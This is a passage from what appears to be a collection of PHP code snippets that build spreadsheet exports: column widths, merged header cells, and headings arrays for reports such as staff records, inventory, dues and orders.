30);\n\t\t$worksheet->set_column(8, 8, 30);\n\t\t$worksheet->set_column(9, 9, 20);\n\t\t$worksheet->set_column(10, 10, 10);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"สาขาวิชา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"ระดับการศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"สถานศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"ประเทศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"ตำแหน่ง/ระดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ชื่อทุน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"ระยะเวลา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"จำนวนวัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t}", "public function headings(): array\n {\n return [\n 'Part Number',\n 'Description',\n 'Quantity',\n 'Date Received',\n// 'Month',\n// 'Year',\n 'Invoice Number',\n 'Vendor',\n 'Unit Price',\n 'Total Price',\n 'Location',\n 'Received By',\n ];\n }", "private function generateHeading()\n {\n //get current dimensions\n\t\t$highestRow = $this->objWorksheet->getHighestRow(); // e.g. 10\n\t\t$highestColumn = $this->objWorksheet->getHighestColumn(); // e.g 'F'\n\n\t\t$highestColumnIndex = PHPExcel_Cell::columnIndexFromString($highestColumn);\n\n\t\t//insert row on top\n\t\t$this->objWorksheet->insertNewRowBefore(1,2);\n\n\t\t//merge cells\n\t\t$this->objWorksheet->mergeCells(\"A1:\".$highestColumn.\"1\");\n\n\t\t//set the text for header\n\t\t$this->objWorksheet->setCellValue(\"A1\", $this->_headingText);\n\t\t$this->objWorksheet->getStyle('A1')->getAlignment()->setWrapText(true);\n\t\t$this->objWorksheet->getRowDimension('1')->setRowHeight(48);\n\n //Apply style\n\t\t$this->objWorksheet->getStyle(\"A1\")->applyFromArray($this->_headingStyleArray);\n }", "public function headings(): array\n {\n return [\n 'Name',\n 'Department',\n 'OT Date',\n 'Shift',\n 'From',\n 'To',\n 'Total Hrs',\n 'Job Content',\n 'Results',\n 'Supervisor',\n 'Manager',\n 'Date Created',\n 'Last Update'\n ];\n }", "public static function excelPlansAndProjectsHeadings()\n {\n return [\n 'Project',\n 'Status',\n 'Region',\n 'Industry',\n ];\n }", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\t\tglobal $heading_name,$ORG_TITLE;\n\t\t\n\t\t$worksheet->set_column(0, 0, 5);\n\t\t$worksheet->set_column(1, 1, 40);\n\t\t$worksheet->set_column(2, 2, 27);\n\t\t$worksheet->set_column(3, 3, 25);\n\t\t$worksheet->set_column(4, 4, 12);\n\t\t$worksheet->set_column(5, 5, 5);\n\t\t$worksheet->set_column(6, 6, 4);\n\t\t$worksheet->set_column(7, 7, 4);\n\t\t$worksheet->set_column(8, 8, 4);\n\t\t$worksheet->set_column(9, 9, 4);\n\t\t$worksheet->set_column(10, 10, 4);\n\t\t$worksheet->set_column(11, 11, 4);\n\t\t$worksheet->set_column(12, 12, 18);\n\t\t$worksheet->set_column(13, 13, 25);\n\t\t$worksheet->set_column(14, 14, 5);\n\t\t$worksheet->set_column(15, 15, 8);\n\t\t$worksheet->set_column(16, 16, 28);\n\t\t$worksheet->set_column(17, 17, 15);\n\t\t$worksheet->set_column(18, 18, 20);\n\t\t$worksheet->set_column(19, 19, 12);\n\t\t$worksheet->set_column(20, 20, 8);\n\t\t$worksheet->set_column(21, 21, 12);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"(1)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"(2)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"(3)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"(4)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"(5)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"(6)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"(7)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"(8)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"(9)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"(10)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"(11)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"(12)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 17,\"(13)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"(14)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"(15)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"(16)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"(17)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อส่วนราชการ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"เลข\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\",0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"L\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"พื้นที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"วุฒิการศึกษา/\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"อัตรา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ประจำตัว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"เพศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"เกิด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"บรรจุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"หมวด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"ชื่อตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"ชั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"ส่วนกลาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"ปฏิบัติงาน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"ประกาศนียบัตร\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"เงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"ปีที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\t\t$worksheet->write($xlsRow, 21, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 1, \"$ORG_TITLE\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"เขต/แขวง/ศูนย์\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"ประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 15, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 16, \"/ภูมิภาค\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 17, \"(จังหวัด)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 18, \"เฉพาะทาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 19, \"ปัจจุบัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 20, \"เกษียณ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "abstract function getheadings();", "public function report_data_college()\n{\n\n$user = $this->Muser->report_data_college();\n\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','I') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIM')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'JURUSAN')\n->setCellValue('E1', 'ANGKATAN')\n->setCellValue('F1', 'EMAIL')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'NO TELEPON')\n->setCellValue('I1', 'STATUS')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nim)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->prodi)\n->setCellValue('E'.$i, $data->generation)\n->setCellValue('F'.$i, $data->email)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->no_telp)\n->setCellValue('i'.$i, $data->status_user)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data Mahasiswa '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data Mahasiswa.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "public function headings() {\n\t\t$vals = array_keys(get_object_vars($this));\n\t\treturn( array_reduce($vals, create_function('$a,$b','return is_null($a) ? \"$b\" : \"$a\".\"\\t\".\"$b\";')));\n\t}", "public function headings() {\n\t\t$vals = array_keys(get_object_vars($this));\n\t\treturn( array_reduce($vals,\n\t\t\t\tcreate_function('$a,$b','return is_null($a) ? \"$b\" : \"$a\".\"\\t\".\"$b\";')));\n\t}", "protected function setHeaders()\n {\n $row = 1; \n $this->objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n \n $mergeCells = 'A' . $row . ':' . 'E' . $row;\n $this->setCellValue('A' . $row, \"Differences between files.\");\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getFont()->setBold(true);\n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n $this->objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(25);\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Comparing by: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'C' . $row;\n $this->setCellValue('B' . $row, $this->getCompareTypeLabel()); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Configuration: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'M' . $row;\n $this->setCellValue('B' . $row, $this->settings['configuration']); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n $row += 5;\n $columns = $this->getColumns(); \n foreach ($columns as $columnName => $column) {\n $cell = $columnName . $row;\n $this->setCellValue($cell, $column['title']);\n $this->objPHPExcel->getActiveSheet()->getColumnDimension($columnName)->setAutoSize(true);\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n }\n \n return $row;\n }", "public function headings(): array\n {\n return [\n 'Name',\n 'Developer Name',\n 'Status',\n 'Description',\n 'Created At',\n ];\n }", "public function headings(): array\n {\n return [\n 'id',\n 'mshp_version_id',\n 'cmr_law_number',\n 'cmr_chapter',\n 'cmr_charge_code_seq',\n 'cmr_charge_code_fingerprintable',\n 'cmr_charge_code_effective_year',\n 'cmr_charge_code_ncic_category',\n 'cmr_charge_code_ncic_modifier',\n 'charge_code',\n 'ncic_mod',\n 'state_mod',\n 'description',\n 'type_class',\n 'dna',\n 'sor',\n 'roc',\n 'case_type',\n 'effective_date',\n ];\n }", "public function headings(): array\n\t{\n\t\treturn [\n\t\t\t\t'No',\n\t\t\t\t'Title',\n\t\t\t\t'Price',\n\t\t\t\t'Category',\n\t\t\t\t'Type',\n\t\t\t\t'Post By',\n\t\t\t\t'Province',\n\t\t\t\t'District',\n\t\t\t\t'Commune',\n\t\t\t\t'views',\n\t\t\t\t'Status'\n\t\t];\n }", "public function headings():array\n {\n\t\tif(Auth::user()->role_id == 1 || Auth::user()->role_id == 14)\n\t\t{\n\t\t\tif( $this->paymentOnlyDownload ==\"1\" || $this->paymentOnlyDownload ==\"2\"){\n\t\t\t\treturn [\n\t\t\t\t\t'Member ID',\n\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n\t\t\t\t\t\t'PaidDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'Payment Updated Date',\n\t\t\t\t\t\t'PaidAmount',\n\t\t\t\t\t\t'PaidNote',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n 'Waived Off Reason'\n\t\t\t\t ];\n\t\t\t}else{\n\t\t\t\treturn [\n\t\t\t\t\t'Member ID',\n\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t'Organization Name',\n\t\t\t\t\t'Company Name',\n\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t'Person Name',\n\t\t\t\t\t'Sector',\n\t\t\t\t\t'Designation',\n\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t'Address',\n\t\t\t\t\t'State',\n\t\t\t\t\t'City',\n\t\t\t\t\t'Pincode',\n\t\t\t\t\t'Due ID',\n\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t'DueAmount',\n 'Balance Due Amount',\n\t\t\t\t\t'DueNote',\n\t\t\t\t\t'Email',\n\t\t\t\t\t'Grace Period',\n\t\t\t\t\t'Custom ID',\n\t\t\t\t\t'Invoice Number',\n\t\t\t\t\t'Checkmy Report Link',\n\t\t\t\t\t'Proof of Due',\n\t\t\t\t ];\n\t\t\t}\n\t\t}\n\n\t\t\t else {\n\n\t\t\t\tif( $this->paymentOnlyDownload ==\"1\" || $this->paymentOnlyDownload ==\"2\"){\n\t\t\t\t\treturn [\n\t\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n\t\t\t\t\t\t'PaidDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'Payment Updated Date',\n\t\t\t\t\t\t'PaidAmount',\n\t\t\t\t\t\t'PaidNote',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n 'Waived Off Reason'\n\t\t\t\t\t ];\n\t\t\t\t}else{\n\t\t\t\t\treturn [\n\t\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n 'Balance Due Amount',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n\t\t\t\t\t\t'Checkmy Report Link',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t ];\n\n\t\t\t\t}\n\n\t\t\t }\n }", "public function horometersExcel(){ \n return Excel::download(new HorometersExport, 'horometros-list-'.date('Y-m-d_H:i:s').'.xlsx');\n }", "public function headingRow(): int\n {\n return 1;\n }", "protected function getHeadRowValues() \n {\n return array(\n\t\t 'Order Number',\n\t\t 'Order Date',\n\t\t \t/*'Month',*/\n 'Bill to name',\n\t\t\t'Ship to Name',\n\t\t\t'Order Location',\n\t\t\t'Zone',\n\t\t\t'Region',\n\t\t\t'Pincode #',\n\t\t\t'Payment Type',\n\t\t\t'Status',\n \t'Category',\n\t\t\t'Brand',\n\t\t\t'Stock Number',\n 'Sku_name',\n /*'MRP',*/\n\t\t\t'Weight',\n\t\t\t'Order Quantity',\n\t\t\t'Shipping Quantity',\n\t\t\t/*'BSP',*/\n\t\t\t'Invoice Id',\n\t\t\t'Invoice Date',\n\t\t\t/*'Method',*/\n\t\t\t'Original MRP',\n\t\t\t'MRP',\n\t\t\t'Discount_Amount',\n\t\t\t'Basic Sale',\n\t\t\t'TAX Amt',\n\t\t\t'Bill Value',\n\t\t\t'Coupon_Code',\n\t\t\t'Coupon Amt',\n\t\t\t'Formula',\n\t\t\t'Tax %',\n\t\t\t'Tax Type',\n\t\t\t'Courier',\n\t\t\t'AWB No',\n\t\t\t/*'Tax Amount',*/\n\t\t\t\t\t\t\n\t\t);\n }", "public function export() \n \t\t{\n \t\t$data = $this->model_patient->export();\n \t\t#load PHPExcel library\n \t\t$this->excel->setActiveSheetIndex(0);\n \t\t#name the worksheet\n \t\t$this->excel->getActiveSheet()->setTitle('Data Pasien SN Health Center');\n \n \t\t#STYLING\n \t\t$styleArray = array('borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN,'color' => array('argb' => '0000'))));\n \n \t\t#set report header\n \t\t$this->excel->getActiveSheet()->getStyle('A:K')->getFont()->setName('Times New Roman');\n \t\t$this->excel->getActiveSheet()->mergeCells('A1:K1');\n \t\t$this->excel->getActiveSheet()->setCellValue('A1', 'DAFTAR PASIEN APLIKASI SN HEALTH CENTER');\n 